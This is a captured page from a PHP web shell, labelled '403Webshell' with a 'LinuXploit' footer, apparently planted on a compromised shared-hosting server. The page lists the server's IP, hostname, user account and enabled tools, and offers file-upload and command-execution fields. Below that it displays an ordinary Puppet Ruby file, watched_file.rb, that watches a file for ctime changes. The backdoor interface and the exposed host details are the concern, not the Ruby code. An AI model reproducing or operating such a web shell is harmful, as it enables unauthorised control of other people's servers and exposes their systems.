403Webshell
Server IP : 66.29.132.122  /  Your IP : 18.116.36.194
Web Server : LiteSpeed
System : Linux business142.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : admazpex ( 531)
PHP Version : 7.2.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /proc/self/root/proc/self/root/proc/thread-self/root/proc/thread-self/root/opt/puppetlabs/puppet/lib/ruby/vendor_ruby/puppet/util/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/self/root/proc/self/root/proc/thread-self/root/proc/thread-self/root/opt/puppetlabs/puppet/lib/ruby/vendor_ruby/puppet/util//watched_file.rb
require_relative '../../puppet/util/watcher'

# Monitor a given file for changes on a periodic interval. Changes are detected
# by looking for a change in the file ctime.
class Puppet::Util::WatchedFile
  # @!attribute [r] filename
  #   @return [String] The fully qualified path to the file.
  attr_reader :filename

  # @param filename [String] The fully qualified path to the file.
  # @param timer [Puppet::Util::Watcher::Timer] The polling interval for checking for file
  #   changes. Setting the timeout to a negative value will treat the file as
  #   always changed. Defaults to `Puppet[:filetimeout]`
  def initialize(filename, timer = Puppet::Util::Watcher::Timer.new(Puppet[:filetimeout]))
    @filename = filename
    @timer = timer

    @info = Puppet::Util::Watcher::PeriodicWatcher.new(
      Puppet::Util::Watcher::Common.file_ctime_change_watcher(@filename),
      timer)
  end

  # @return [true, false] If the file has changed since it was last checked.
  def changed?
    @info.changed?
  end

  # Allow this to be used as the name of the file being watched in various
  # other methods (such as Puppet::FileSystem.exist?)
  def to_str
    @filename
  end

  def to_s
    "<WatchedFile: filename = #{@filename}, timeout = #{@timer.timeout}>"
  end
end

Youez - 2016 - github.com/yon3zu
LinuXploit